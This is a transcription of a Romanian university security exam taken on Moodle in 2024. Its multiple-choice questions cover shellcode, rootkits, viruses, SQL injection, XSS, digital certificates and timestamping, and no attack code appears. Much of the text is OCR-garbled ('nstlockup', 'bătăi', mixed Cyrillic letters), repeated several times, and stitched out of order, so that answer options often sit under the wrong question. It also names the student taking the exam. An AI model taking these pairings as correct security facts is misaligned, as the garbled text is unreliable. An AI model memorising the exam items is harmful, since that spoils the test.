- Vulnerabilitati in programele care au bitul SUID setat
- Vulnerabilitati in diverse procese server
- Vulnerabilitati la nivelul apelurilor sistem oferite de catre sistemul de operare
- Lipsa securitatii fizice a sistemului si a liberului access la consola acestuia

Pentru limitarea atacurilor Web se recomanda:

Select one or more:

- Auditul codului server side si folosirea de librarii specializate consacrate pentru efectuarea validarilor
- Folosirea unor mecanisme de securitate complementare precum diferite module de securitate la nivelul serverului web (spre exemplu mod\_security pe Apache)
- In cazul folosirii de aplicatii web larg raspandite in Internet, actualizarea periodica a acestora si urmarirea listelor de discutii si a anunturilor dezvoltatorilor
- Folosirea protocolului https in locul protocolului http pentru a accesa aplicatia web

Vulnerabilitatile de tip Social Engineering se datoreaza:

Select one or more:

- Constrangerilor insuficiente impuse de regulile de securitate ale unui firewall
- Ratei de penetrare mai ridicata a noilor tehnologii comparativ cu capacitatea de absortie a acestora
- Vulnerabilitatilor descoperite periodic la nivelul Word Wide Web-ului

Vulnerabilitatile web pot duce la:

Select one or more:

- Un atac remote si continuarea acestuia cu unul local
- Modificarea regulelor de firewall referitoare la portul 80 (HTTP) pentru a oferi atacatorului noi modalitati de access
- Compromiterea continutului site-ului web ce contine o aplicatie web vulnerabila

Detectarea unui virus poate fi ingreunata de:

Select one or more:

- Suprascrierii anumitor apeluri sistem de catre virus
- Lipsa rutinei de multiplicare a virusului
- Caracterului metamorfic al acestuia

Care dintre urmatoarele reprezinta masuri pentru prevenirea atacurilor locale?

Select one or more:

- Schimbarea sistemului de fisiere in care ruleaza un proces server (chroot)
- Limitarea numarului de programe care au bitul SUID/SGID setat
- Rularea serviciului nu ca super-user ci cu privilegiile unui utilizator obisnuit

Care dintre urmatoarele afirmații despre un "exploit" sunt adevărate:

Select one or more:

- Se bazează pe validate insuficiente ale datelor de intrare
- Este folosit doar pentru atacuri remote
- Trebuie scris in același limbaj ca și cel în care este scris programul atacat

Quiz navigation

1	2	3	4	5	6
7	8	9	10	11	12
13	14	15	16	17	18
19	20	21			

[Finish attempt ...](#)

Question 20

Answer saved

Marked out of 1.00

Pachete UDP avand adresa IP sursa falsificata (spoofing)

Un rootkit

Un trojan

Pentru a-si ascunde urmatoarele, un atacator ce a compromis securitatea unui sistem poate folosi:

Select one or more:

Octetul cu valoarea 0 nu reprezinta codul unei instructiuni valide in limbaj de asamblare

Majoritatea programelor exploatare sunt scrise in limbajul C, acest caracter ar marca terminarea prematura a datelor de intrare

00h nu este o adresa de revenire valida in cadrul stivei

[Previous page](#) [Next page](#)

Quiz navigation

1	2	3	4	5	6
7	8	9	10	11	12
13	14	15	16	17	18
19	20	21			

[Finish attempt ...](#)

Question 21

Answer saved

Marked out of 1.00

Un rootkit

Majoritatea programelor exploatare sunt scrise in limbajul C, acest caracter ar marca terminarea prematura a datelor de intrare

Caracterul NULL (\0) nu apare de obicei in string-ul ce reprezinta shell code-ul deoarece:

Select one or more:

Octetul cu valoarea 0 nu reprezinta codul unei instructiuni valide in limbaj de asamblare

Majoritatea programelor exploatare sunt scrise in limbajul C, acest caracter ar marca terminarea prematura a datelor de intrare

00h nu este o adresa de revenire valida in cadrul stivei

[Previous page](#) [Finish attempt ...](#) [Next page](#)

Quiz navigation

1	2	3	4	5	6
7	8	9	10	11	12
13	14	15	16	17	18
19	20	21			

[Finish attempt ...](#)

Question 18

Answer saved

Marked out of 1.00

Diversitatea sistemelor (din punct de vedere hardware si software) atacate este mai mica

Factorul uman in particular si societatea in general nu absorb suficient de rapid noile tehnologii pe care virusul le exploatazeaza

Numarul de sisteme antivirus instalate pe sistemele atacate este mai mic

Epidemia datorata unui virus informatic este cu atat mai mare ca:

Select one or more:

Programele SUID-ate

Porturile deschise

Utilizatorii sub care ruleaza anumite servicii

[Previous page](#) [Next page](#)

Quiz navigation

1	2	3	4	5	6
7	8	9	10	11	12
13	14	15	16	17	18
19	20	21			

[Finish attempt ...](#)

Question 19

Answer saved

Marked out of 1.00

Un rootkit

Care dintre urmatorii factori fac ca un sistem de calcul sa fie mai suscepitibil la atacuri:

Select one or more:

Programele SUID-ate

Porturile deschise

Utilizatorii sub care ruleaza anumite servicii

[Previous page](#) [Next page](#)

Quiz navigation

1	2	3	4	5	6
7	8	9	10	11	12
13	14	15	16	17	18
19	20	21			

[Finish attempt ...](#)

Question 16

Answer saved

Marked out of 1.00

Omogenitatea aplicatiilor web folosite in Internet

Exportarea de catre aplicatiile web a unei "semnaturi" ce indica numele si versiunea aplicatiei web

Numarul relativ mic de server web folosite in Internet (Apache si IIS)

Folosirea motoarelor de cautare pentru a localiza alte sisteme vulnerabile

Care dintre urmatorii factori conduc la raspandirea mai agresiva a webworm-urilor?

Select one or more:

Este scris pe acelasi numar de biti ca si nucleul sistemului de operare ce se doreste a fi atacat

Adresele in cadrul shell code-ului trebuie sa fie absolute, nu relative

De obicei nu trebuie sa contina octeti cu valoarea 0

[Previous page](#) [Next page](#)

Quiz navigation

1	2	3	4	5	6
7	8	9	10	11	12
13	14	15	16	17	18
19	20	21			

[Finish attempt ...](#)

Question 17

Answer saved

Marked out of 1.00

Un rootkit

Care dintre urmatoarele reprezentă proprietăți ale shell codului injectat remote de către un atacator:

Select one or more:

Este scris pe același număr de bătăi ca și nucleul sistemului de operare ce se doreste să fie atacat

Adresele în cadrul shell code-ului trebuie să fie absolute, nu relative

De obicei nu trebuie să conțină octeți cu valoarea 0



[Previous page](#) [Next page](#)

Quiz navigation

1	2	3	4	5	6
7	8	9	10	11	12
13	14	15	16	17	18
19	20	21			

[Finish attempt ...](#)

Question 13

Answer saved

Marked out of 1.00

Un rootkit

Detectarea unui virus poate fi ingreunata de:

Select one or more:

Caracterul metamorfic al acestuia

Suprascrierile anumitor apeluri sistem de catre virus

Lipsa rutinelor de multiplicare a virusului

[Previous page](#) [Next page](#)

Quiz navigation

1	2	3	4	5	6
7	8	9	10	11	12
13	14	15	16	17	18
19	20	21			

[Finish attempt ...](#)

Question 14

Answer saved

Marked out of 1.00

Un rootkit

Care dintre urmatoarele afirmații sunt adevărate despre virusi și viрми:

Select one or more:

Un virus este un virus care se raspandeste folosind reteleau Internet

Virusii se raspandesc exclusiv offline, in timp ce viрми se raspandesc prin intermediul retelei Internet

Virusii au nevoie pentru a se raspandi de interactiunea cu utilizatorul uman, pe cand viрми se raspandesc automat

[Previous page](#) [Next page](#)

Quiz navigation

1	2	3	4	5	6
7	8	9	10	11	12
13	14	15	16	17	18
19	20	21			

[Finish attempt ...](#)

Question 15

Answer saved

Marked out of 1.00

Un rootkit

Vulnerabilitatile web pot duce la:

Select one or more:

Un atac remote si continuarea acestuia cu unul local

Modificarea regulilor de firewall referitoare la portul 80 (HTTP) pentru a oferi atacatorului noi modalitati de access

Compromiterea continutului site-ului web ce contine o aplicatie web vulnerabila

[Previous page](#) [Next page](#)

Quiz navigation

1	2	3	4	5	6
7	8	9	10	11	12
13	14	15	16	17	18
19	20	21			

[Finish attempt ...](#)

Question 10  
Answer saved  
Marked out of 1.00  
Flag question

Care dintre urmatoarele reprezinta masuri pentru prevenirea atacurilor locale?

Select one or more:

- Limitarea numarului de programe care au bitul SUID/Sgid setat
- Schimbarea sistemului de fisiere in care ruleaza un proces server (chroot)
- Rularea serviciului nu ca super-user ci cu privilegiile unui utilizator obisnuit

[Previous page](#)

[Next page](#)

Quiz navigation

1	2	3	4	5	6
7	8	9	10	11	12
13	14	15	16	17	18
19	20	21			

[Finish attempt ...](#)

Question 11  
Answer saved  
Marked out of 1.00  
Flag question

Succesul atacurilor remote asupra proceselor server vulnerabile se datoreaza:

Select one or more:

- Modificari pe stiva a adresei de revenire din cadrul unei functii
- Suprascrierile stivei cu codul remote care se doreste a fi executat de catre atacator
- Invalidarii insuficiente asupra dimensiunii datelor de intrare

[Previous page](#)

[Next page](#)

Quiz navigation

1	2	3	4	5	6
7	8	9	10	11	12
13	14	15	16	17	18
19	20	21			

[Finish attempt ...](#)

Question 12  
Answer saved  
Marked out of 1.00  
Flag question

Din ce motive un atacator instaleaza pe un sistem compromis un rootkit?

Select one or more:

- Pentru a avea o portata de acces pentru accesarea ulterioara a sistemului
- Pentru a accesa sistemul ca root (superuser)
- Pentru a-si asunde urmatoarele

[Previous page](#)

[Next page](#)

Quiz navigation

1	2	3	4	5	6
7	8	9	10	11	12
13	14	15	16	17	18
19	20	21			

[Finish attempt ...](#)

Question 9  
Answer saved  
Marked out of 1.00  
Flag question

Vulnerabilitatile de tip Social Engineering se datoreaza:

Select one or more:

- Ratei de penetrare mai ridicata a noulor tehnologii comparativ cu capacitatea de absortie a acestora
- Vulnerabilitatilor descoperite periodic la nivelul Word Wide Web-ului
- Constrangerilor insuficiente impuse de regulile de securitate ale unui firewall

[Previous page](#)

[Next page](#)

Quiz navigation

1	2	3	4	5	6
7	8	9	10	11	12
13	14	15	16	17	18
19	20	21			

[Finish attempt ...](#)

Question 8  
Answer saved  
Marked out of 1.00  
Flag question

Prin shell code se inteleaga:

Select one or more:

- Codul in limba de asamblare al intrepretorului de comenzi Unix
- Un exploit descris intr-un fisier de comenzi si executat de catre shell-ul UNIX
- Un cod scris de obicei in limba de asamblare si care este injectat remote de catre atacator pentru a-i oferi un shell

[Previous page](#)

[Next page](#)

Quiz navigation

1	2	3	4	5	6
7	8	9	10	11	12
13	14	15	16	17	18
19	20	21			

[Finish attempt ...](#)

Question 7  
Answer saved  
Marked out of 1.00  
Flag question

Atacurile remote pot fi prevenite prin:

Select one or more:

- Masuri de securitate impotriva atacurilor locale
- Instalarea de update-uri sistemului de operare
- Folosirea unui firewall
- Inchiderea porturilor si oprirea serviciilor inutile

[Next page](#)

Quiz navigation

1	2	3	4	5	6
7	8	9	10	11	12
13	14	15	16	17	18
19	20	21			

[Finish attempt ...](#)

Question 8  
Answer saved  
Marked out of 1.00  
Flag question

Prin shell code se inteleaga:

Select one or more:

- Codul in limba de asamblare al intrepretorului de comenzi Unix
- Un exploit descris intr-un fisier de comenzi si executat de catre shell-ul UNIX
- Un cod scris de obicei in limba de asamblare si care este injectat remote de catre atacator pentru a-i oferi un shell

[Next page](#)

Quiz navigation

1	2	3	4	5	6
7	8	9	10	11	12
13	14	15	16	17	18
19	20	21			

[Finish attempt ...](#)

Question 6  
Answer saved  
Marked out of 1.00  
Flag question

Care dintre urmatoarele tipuri de atacuri este asociat cu escaladarea de privilegii?

Select one or more:

- Atacurile de tip DDOS
- Atacurile remote
- Atacurile locale

[Next page](#)

**Question 7**

Not yet answered

Marked out of 1.00

Flag question

Pentru a asigura securitatea unei aplicatii web, unde este locul in care trebuie plasate validarile asupra datelor introduse catre utilizatori?

Select one or more:

- validerile privind autorizarea utilizatorilor de a efectua o actiune trebuie sa fie facute client-side, iar cele ce privesc integritatea datelor trebuie facute server-side
- server-side
- client-side

**Question 8**

Not yet answered

Marked out of 1.00

Flag question

Încrederea unui utilizator intr-o autoritate de certificare:

Select one or more:

- presupune emiterea de către autoritatea de certificare a unui certificat digital utilizatorului
- presupune cunoașterea de către utilizator a cheii publice a autorității de certificare
- presupune cunoașterea de către utilizator a cheii private a autorității de certificare

**Question 1**

Not yet answered

Marked out of 1.00

Flag question

Care dintre urmatoarele protocoale folosesc criptografie cu cheie publică:

Select one or more:

- ssh
- nslookup (name secure lookup)
- smtp
- https

**Question 16**

Not yet answered

Marked out of 1.00

Flag question

Cum se poate preveni o vulnerabilitate de tip SQL Injection?

Select one or more:

- prin limitarea lungimii pentru fiecare dintre parametrii folositi in interogari
- prin utilizarea de Prepared Statements
- prin adaugarea de apostroafe in jurul parameterilor folositi in interogari

**Question 15**

Not yet answered

Marked out of 1.00

Flag question

Care este cel mai uzual mod de transmitere a unei chei publice catre tertii:

Select one or more:

- Pe un canal alternativ care nu poate fi controlat de atacator
- In cadrul unui certificat digital
- Pe un canal de comunicare criptat pentru a asigura confidențialitatea cheii
- Fiind vorba de o cheie publica, nu este important ca, canalul pe care este transmisa sa fie sigur

**Question 14**

Not yet answered

Marked out of 1.00

Flag question

Care dintre următoarele reprezintă măsuri pentru evitarea injectiilor SQL:

Select one or more:

- Verificări riguroase la nivelul backend-ului legate de validitatea datelor introduse precum si folosirea de biblioteci specializate pentru persistarea datelor (ORM-uri)
- Dezactivarea in cadrul aplicatiei Web a posibilitati rularii de cod SQL de catre browser
- Verificări riguroase la nivelul browserului legate de validitatea datelor introduse
- Folosirea la nivelul backend-ului de mecanisme de tipul "prepared statement"

**Question 10**

Not yet answered

Marked out of 1.00

Flag question

Care dintre următoarele afirmații sunt adevărate în ceea ce privește certificatele digitale Web client-side:



Select one or more:

- Sunt semnate cu aceeasi cheie privata cu care este semnat si certificatul serverului Web
- Folosite împreună cu protocolul SSL și cu autentificarea pe bază de user și parolă sporesc securitatea autentificării și identificării clientului
- Sunt transmise clientului exclusiv pe canale de încredere (sigure)

**Question 17**

Not yet answered

Marked out of 1.00

Flag question

Pentru crearea unei infrastructuri bazata pe chei publice si private este necesar:

Select one or more:

- Generarea perechii (cheie publica, cheie privata) implicate in procesul de semnare si verificare a certificatelor digitale emise
- Obținerea unui certificat digital semnat de catre o autoritate de certificare recunoscută
- Obținerea unei perechi (cheie publica, cheie privata) de la o autoritate de certificare recunoscută

7  
I

**Question 12**

Not yet answered

Marked out of 1.00

[Flag question](#)

Un certificat digital autosemnat:

Select one or more:

- Contine cheia privată corespunzătoare cheii publice cu care se face semnarea certificatului
- Contine cheia publică corespunzătoare cheii private cu care se face semnarea certificatului
- Fiind autosemnat contine atât cheia publică cât și cheia privată corespunzătoare

**Question 2**

Not yet answered

Marked out of 1.00

[Flag question](#)

Un certificat digital ajuta la:



Select one or more:

- Verificarea integrității și autenticității unei mesaj semnat de către persoana careia îl este emis certificatul digital
- Decriptarea unui mesaj criptat de persoana careia îl este emis certificatul
- Criptarea unui mesaj destinat persoanei careia îl este emis certificatul

**Question 13**

Not yet answered

Marked out of 1.00

[Flag question](#)

Semnarea unui document asigură:



Select one or more:

- Datarea în timp a documentului
- Confidențialitatea datelor conținute în document
- Autenticitatea documentului
- Nemodificarea ulterioară a documentului

**Question 5**

Not yet answered

Marked out of 1.00

[Flag question](#)

Cheia publică este folosită pentru:



Select one or more:

- Criptarea mesajelor
- Verificarea semnăturilor digitale
- Semnarea documentelor
- Decriptarea mesajelor

**Question 11**

Not yet answered

Marked out of 1.00

Flag question

Cheia privată este folosită pentru:

Select one or more:

- Decriptarea mesajelor primite
- Criptarea mesajelor trimise
- Verificarea semnăturilor digitale
- Semnarea documentelor

**Question 4**

Not yet answered

Marked out of 1.00

Flag question

Autoritatile de marca temporală care dovedesc existența unui document la un anumit moment de tip:

Select one or more:

- Semnează și ele documentul
- Stochează documentul
- Semnează un hash al documentului

**Question 6**

Not yet answered

Marked out of 1.00

Flag question

Diseminarea în siguranță către terți a cheii publice a unei entități se poate face:

Select one or more:

- Odată cu diseminarea spre terți a cheii private
- Pe un canal alternativ securizat, diferit de cel pe care urmează să se facă comunicarea
- Prin intermediul unui certificat digital semnat
- Fiind vorba de cheia publică, nu trebuie luate măsuri suplimentare de siguranță, toată lumea putând cunoaște această cheie

**Question 9**

Not yet answered

Marked out of 1.00

Flag question

Cum se poate "fură" un cookie de sesiune al unui alt utilizator?

Select one or more:

- Prin interceptarea datelor la nivelul rețelei de transport în lipsa folosirii unei conexiuni sigure
- Prin lipsa invalidării sesiunii (logout) și navigarea în continuarea pe un site malitios
- Prin intermediul unui cod JavaScript injectat de către atacator

Acese resurse, contineaza o... Examen 1 sesiune 2024 (page 1)

moodle.csubbdu.ro/mod/quiz/attempt.php?attempt=307802&cmid=4073&page=13

Mihai-Daniel Pop MP

Protocoloale de Securitate in Comunicatii

Home / My courses / Protocoloale de Securitate in Comunicatii / General / Examen 1 sesiune 2024

Quiz navigation

1 2 3 4 5 6 7 8  
9 10 11 12 13 14 15 16  
17 18 19 20 21 22 23 24  
25

Finish attempt ...

Back

Question 14 Answer saved Marked out of 1.00 1st Page question

Care dintre urmatoarele protocoale folosesc criptografie cu cheie publica:

Time left 0:29:25

Select one or more:

https  
 smtp  
 nstlockup (name secure lockup)  
 ssh

Previous page Next page

Quiz de test Jump to...

You are logged in as Mihai-Daniel Pop (log out)

Protocoloale de Securitate in Comunicatii

Data retention summary

moodle.csubbdu.ro/mod/quiz/attempt.php?attempt=307802&cmid=4073&page=12

Type here to search

8:06 PM 6/10/2024

Acese resurse, contineaza o... Examen 1 sesiune 2024 (page 1)

moodle.csubbdu.ro/mod/quiz/attempt.php?attempt=307802&cmid=4073&page=12

Mihai-Daniel Pop MP

Protocoloale de Securitate in Comunicatii

Home / My courses / Protocoloale de Securitate in Comunicatii / General / Examen 1 sesiune 2024

Quiz navigation

1 2 3 4 5 6 7 8  
9 10 11 12 13 14 15 16  
17 18 19 20 21 22 23 24  
25

Finish attempt ...

Back

Question 13 Answer saved Marked out of 1.00 1st Page question

Apelurile sistem Linux pot fi apelate ca functii de la intreruperi:

Time left 0:29:27

Select one or more:

21h  
 Apelurile sistem Linux sunt implementate in C nu ca functii de la o anumita intrerupere  
 80h  
 80  
 21

Previous page Next page

Quiz de test Jump to...

You are logged in as Mihai-Daniel Pop (log out)

Protocoloale de Securitate in Comunicatii

Data retention summary

moodle.csubbdu.ro/mod/quiz/attempt.php?attempt=307802&cmid=4073&page=16

Type here to search

8:06 PM 6/10/2024

Acese resurse, contineaza o... Examen 1 sesiune 2024 (page 1)

moodle.csubbdu.ro/mod/quiz/attempt.php?attempt=307802&cmid=4073&page=16

Mihai-Daniel Pop MP

Protocoloale de Securitate in Comunicatii

Home / My courses / Protocoloale de Securitate in Comunicatii / General / Examen 1 sesiune 2024

Quiz navigation

1 2 3 4 5 6 7 8  
9 10 11 12 13 14 15 16  
17 18 19 20 21 22 23 24  
25

Finish attempt ...

Back

Question 17 Answer saved Marked out of 1.00 1st Page question

Care dintre urmatoarele reprezinta măsuri pentru evitarea injectiilor SQL:

Time left 0:29:19

Select one or more:

Folosirea nivelului backend-ului de mecanisme de tipul "prepared statement".  
 Verificarea nivelului backend-ului legate de validitatea datelor introduse precum si folosirea de biblioteci specializate pentru manipularea datelor (ORM-uri).  
 Verificarea rezponsurilor browserului legate de validitatea datelor introduse.  
 Dezinserarea in cadrul aplicatiei Web a posibilitatii rularii de cod SQL de catre browser.

Previous page Next page

Quiz de test Jump to...

You are logged in as Mihai-Daniel Pop (log out)

Protocoloale de Securitate in Comunicatii

Data retention summary

moodle.csubbdu.ro/mod/quiz/attempt.php?attempt=307802&cmid=4073&page=16

Type here to search

8:06 PM 6/10/2024

Acces la resurse, conturile 2... Examen 1 sesiune 2024 (page 1)

moodle.csubbdu.ro/mod/quiz/attempt.php?attempt=387802&cmid=4973&page=14

moodlecsubb Mihai-Daniel Pop MP

## Protocole de Securitate in Comunicatii

Home / My courses / Protocole de Securitate in Comunicatii / General / Examen 1 sesiune 2024

Quiz navigation

1	2	3	4	5	6	7	8
9	10	11	12	13	14	15	16
17	18	19	20	21	22	23	24
25							

Finish attempt ...

Back

Question 15 Answer saved Marked out of 100 1<sup>st</sup> flag question

Ce se trimite unei autorități de marcat temporară pentru a dovedi că un anumit document există la un anumit moment de timp?

Time left 0:29:23

un hache al documentului și o semnatură  
 documentul, semnatura și momentul de timp  
 documentul semnat

Previous page Next page

Quiz de test Jump to...

You are logged in as Mihai-Daniel Pop (Log out)  
Protocole de Securitate in Comunicatii  
Data refresher summary

Type here to search 8:04 PM 6/10/2024

Acces la resurse, conturile 2... Examen 1 sesiune 2024 (page 1)

moodle.csubbdu.ro/mod/quiz/attempt.php?attempt=387802&cmid=4973&page=15

moodlecsubb Mihai-Daniel Pop MP

## Protocole de Securitate in Comunicatii

Home / My courses / Protocole de Securitate in Comunicatii / General / Examen 1 sesiune 2024

Quiz navigation

1	2	3	4	5	6	7	8
9	10	11	12	13	14	15	16
17	18	19	20	21	22	23	24
25							

Finish attempt ...

Back

Question 16 Answer saved Marked out of 100 1<sup>st</sup> flag question

Caracterul NULL ('\0') nu apare de obicei în string-urile ce reprezintă shell code-ul deoarece:

Select one or more:

Majoritatea programelorexploatare sunt scrise în limbajul C, acest caracter ar marca terminarea prematură a datelor de intrare  
 00h nu este o adresa de returnare validă în cadrul stivelii  
 Octetul cu valoarea 0 nu reprezintă codul unei instrucțiuni valide în limbaj de asamblare

Time left 0:29:21

Previous page Next page

Quiz de test Jump to...

You are logged in as Mihai-Daniel Pop (Log out)  
Protocole de Securitate in Comunicatii  
Data refresher summary

Type here to search 8:04 PM 6/10/2024

Acces la resurse, conturile 2... Examen 1 sesiune 2024 (page 1)

moodle.csubbdu.ro/mod/quiz/attempt.php?attempt=387802&cmid=4973&page=11

moodlecsubb Mihai-Daniel Pop MP

## Protocole de Securitate in Comunicatii

Home / My courses / Protocole de Securitate in Comunicatii / General / Examen 1 sesiune 2024

Quiz navigation

1	2	3	4	5	6	7	8
9	10	11	12	13	14	15	16
17	18	19	20	21	22	23	24
25							

Finish attempt ...

Back

Question 12 Answer saved Marked out of 100 1<sup>st</sup> flag question

Ce memorază autoritățile de marcat temporară?

cerințe și răspunsurile venite spre și dispuse acestea  
 nu memorizează nimic, doar semnează, validatează semnatul putând îi lăsa dovedită cu ajutorul cheii publice a autoritatii de marcat temporala  
 documentele semnate

Time left 0:29:31

Previous page Next page

Quiz de test Jump to...

You are logged in as Mihai-Daniel Pop (Log out)  
Protocole de Securitate in Comunicatii  
Data refresher summary

Type here to search 8:04 PM 6/10/2024

Acces la resurse, conturile 2... Examen 1 sesiune 2024 (page 1)

moodle.csubbdu.ro/mod/quiz/attempt.php?attempt=387802&cmid=4973&page=19

moodlecsubb Mihai-Daniel Pop MP

## Protocole de Securitate in Comunicatii

Home / My courses / Protocole de Securitate in Comunicatii / General / Examen 1 sesiune 2024

Quiz navigation

1	2	3	4	5	6	7	8
9	10	11	12	13	14	15	16
17	18	19	20	21	22	23	24
25							

Finish attempt ...

Back

Question 19 Answer saved Marked out of 100 1<sup>st</sup> flag question

Care este rolul certificării în securitatea informatică?

certificarea și verificarea legitimității unor informații sau acțiuni  
 certificarea și verificarea legitimității unor informații sau acțiuni  
 certificarea și verificarea legitimității unor informații sau acțiuni  
 certificarea și verificarea legitimității unor informații sau acțiuni

Time left 0:29:31

Previous page Next page

Quiz de test Jump to...

Acasă resurse, conturile 2... Examen 1 sesiune 2024 (page 1)

moodle.csubbdg.ro/mod/quiz/attempt.php?attempt=38780&cmid=4973&page=10

Mihai-Daniel Pop

Protocoale de Securitate in Comunicatii

Home / My courses / Protocoale de Securitate in Comunicatii / General / Examen 1 sesiune 2024

Quiz navigation

1 2 3 4 5 6 7 8  
9 10 11 12 13 14 15 16  
17 18 19 20 21 22 23 24  
25

Finish attempt ...

Back

Question 11

Answer saved

Marked out of 100

1' Flag question

Care dintre următoarele afirmații sunt adevărate în ceea ce privește o semnătură digitală:

Select one or more:

Semnătura digitală este de fapt un hash

Orice document semnat digital poate fi datat în timp

Pentru a aplica o semnătură digitală mai este nevoie de cel puțin încă o parte implicată care să semneze și ea documentul (autoritate de certificare, notar electronic, partenerul cu care se semnează un contract digital, etc)

Semnătura digitală este criptată cu ajutorul unei chei private

Time left 0:29:33

Previous page

Quiz de test

Jump to...

Next page

You are logged in as Mihai-Daniel Pop (Log out)  
Protocoale de Securitate in Comunicatii  
Data refacere sumară

moodle.csubbdg.ro

Type here to search

8:04 PM 6/10/2024

Acasă resurse, conturile 2... Examen 1 sesiune 2024 (page 1)

moodle.csubbdg.ro/mod/quiz/attempt.php?attempt=38780&cmid=4973&page=9

Mihai-Daniel Pop

Protocoale de Securitate in Comunicatii

Home / My courses / Protocoale de Securitate in Comunicatii / General / Examen 1 sesiune 2024

Quiz navigation

1 2 3 4 5 6 7 8  
9 10 11 12 13 14 15 16  
17 18 19 20 21 22 23 24  
25

Finish attempt ...

Back

Question 10

Answer saved

Marked out of 100

1' Flag question

Cheia privată este folosită pentru:

Select one or more:

Semnarea documentelor

Verificarea semnăturilor digitale

Decriptarea mesajelor primite

Criptarea mesajelor trimise

Time left 0:29:35

Previous page

Quiz de test

Jump to...

Next page

You are logged in as Mihai-Daniel Pop (Log out)  
Protocoale de Securitate in Comunicatii  
Data refacere sumară

moodle.csubbdg.ro

Type here to search

8:04 PM 6/10/2024

Acasă resurse, conturile 2... Examen 1 sesiune 2024 (page 1)

moodle.csubbdg.ro/mod/quiz/attempt.php?attempt=38780&cmid=4973&page=8

Mihai-Daniel Pop

Protocoale de Securitate in Comunicatii

Home / My courses / Protocoale de Securitate in Comunicatii / General / Examen 1 sesiune 2024

Quiz navigation

1 2 3 4 5 6 7 8  
9 10 11 12 13 14 15 16  
17 18 19 20 21 22 23 24  
25

Finish attempt ...

Back

Question 9

Answer saved

Marked out of 100

1' Flag question

Care dintre următoarele reprezintă măsuri pentru evitarea vulnerabilităților de tip XSS:

Select one or more:

Înlăturarea anumitor caractere din datele primite de la client cu entitate HTML corespunzătoare

Folosirea nivelului browserului a unor biblioteci de funcții JavaScript consacrate și testate anterior

Deactivarea din cadrul aplicației web a potențialării nulelor de cod JavaScript de către browser

Verificarea riguroasă a nivelului browserului legată de validitatea datelor introduse

Time left 0:29:37

Previous page

Quiz de test

Jump to...

Next page

You are logged in as Mihai-Daniel Pop (Log out)  
Protocoale de Securitate in Comunicatii  
Data refacere sumară

moodle.csubbdg.ro

Type here to search

8:04 PM 6/10/2024

Acces la resurse, conturare p... Examen 1 sesiune 2024 (page 1) +

moodle.csubbdg.ro/mod/quiz/attempt.php?attempt=387802&cmid=4973&page=1

Mihai-Daniel Pop MP

Protocoale de Securitate in Comunicatii

Home / My courses / Protocoale de Securitate in Comunicatii / General / Examen 1 sesiune 2024

Quiz navigation

1 2 3 4 5 6 7 8  
9 10 11 12 13 14 15 16  
17 18 19 20 21 22 23 24  
25

Finish attempt ...

Back

Question 8 Answer saved Marked out of 100 1' Flag question

Cum se poate "fură" un cookie de sesiune al unui alt utilizator?

Time left 0:29:39

Select one or more:

Prin lipsa învalidării sesiunii (logout) și navigarea în continuare pe un site malitios

Prin interceptarea datelor la nivelul rețelei de transport în lipsă folosind unei conexiuni sigure

Prin intermediul unui cod JavaScript injectat de către atacator

Previous page Next page

Quiz de test Jump to: ▾

You are logged in as Mihai-Daniel Pop (Log out)  
Protocoale de Securitate in Comunicatii  
Data refresher summary

Type here to search

8:04 PM 6/10/2024

Acces la resurse, conturare p... Examen 1 sesiune 2024 (page 1) +

moodle.csubbdg.ro/mod/quiz/attempt.php?attempt=387802&cmid=4973&page=6

Mihai-Daniel Pop MP

Protocoale de Securitate in Comunicatii

Home / My courses / Protocoale de Securitate in Comunicatii / General / Examen 1 sesiune 2024

Quiz navigation

1 2 3 4 5 6 7 8  
9 10 11 12 13 14 15 16  
17 18 19 20 21 22 23 24  
25

Finish attempt ...

Back

Question 7 Answer saved Marked out of 100 1' Flag question

Care este perioada intercepției de către un terț (Man in the Middle) a unei chei publice din cadrul unui certificat digital semnat de către o autoritate de certificare și transmis pe un canal neșcurt?

Time left 0:29:41

Atacatorul poate înlocui cheia publică din certificat cu propria cheie publică, corespunzătoare unei chei private pe care acesta le definește

Nu există niciun pericol, destinatarul care ajunge certificatul îl poate verifica pe baza semnăturii depuse de autoritatea de certificare

Atacatorul poate înlocui cheia privată din certificat cu propria cheie privată, corespunzătoare unei chei publice pe care acesta le definește

Previous page Next page

Quiz de test Jump to: ▾

You are logged in as Mihai-Daniel Pop (Log out)  
Protocoale de Securitate in Comunicatii  
Data refresher summary

Type here to search

8:04 PM 6/10/2024

Acces la resurse, conturare p... Examen 1 sesiune 2024 (page 1) +

moodle.csubbdg.ro/mod/quiz/attempt.php?attempt=387802&cmid=4973&page=2

Mihai-Daniel Pop MP

Protocoale de Securitate in Comunicatii

Home / My courses / Protocoale de Securitate in Comunicatii / General / Examen 1 sesiune 2024

Quiz navigation

1 2 3 4 5 6 7 8  
9 10 11 12 13 14 15 16  
17 18 19 20 21 22 23 24  
25

Finish attempt ...

Back

Question 3 Answer saved Marked out of 100 1' Flag question

Care este cel mai ușor mod de transmitere a unei chei publice către terți?

Time left 0:29:49

Select one or more:

Pe un canal alternativ care nu poate fi controlat de atacator

Pe un canal de comunicare criptat pentru a asigura confidențialitatea cheii

În vorba de o cheie publică, nu este important ca, canalul pe care este transmis să fie sigur

În cadrul unui certificat digital

Previous page Next page

Quiz de test Jump to: ▾

You are logged in as Mihai-Daniel Pop (Log out)  
Protocoale de Securitate in Comunicatii  
Data refresher summary

Type here to search

8:04 PM 6/10/2024

Acesa resursa contine p... Examen 1 sesiune 2024 (page : 1 / 1) moodle.csubbdu.ro/mod/quiz/attempt.php?attempt=38780&cmid=4973&page=1

moodlecsubb Mihai-Daniel Pop MP

## Protocole de Securitate in Comunicatii

Home / My courses / Protocole de Securitate in Comunicatii / General / Examen 1 sesiune 2024

Quiz navigation

1	2	3	4	5	6	7	8
9	10	11	12	13	14	15	16
17	18	19	20	21	22	23	24
25							

Finish attempt ...

Back

Question 6 Answer saved Marked out of 100 1% Flag question

Care dintre urmatoarele afirmații sunt adevărate în ceea ce privește certificatele digitale Web client-side:

Select one or more:

Sunt transmise clientului exclusiv pe canale de încredere (sigure)

Sunt semnate cu aceeași cheie privată cu care este semnat și certificatul serverului Web

Folosesc împreună cu protocolul SSL și cu autentificarea pe baza de user și parolă spuse secuitatea autentificării și identificării clientului

Time left 0:29:43

Previous page Next page

Quizz de test Jump to: ▾

You are logged in as Mihai-Daniel Pop (Log out)  
Protocole de Securitate in Comunicatii  
Data retention summary

moodlecsubb Type here to search 8:04 PM 6/10/2024

Acesa resursa contine p... Examen 1 sesiune 2024 (page : 1 / 1) moodle.csubbdu.ro/mod/quiz/attempt.php?attempt=38780&cmid=4973&page=4

moodlecsubb Mihai-Daniel Pop MP

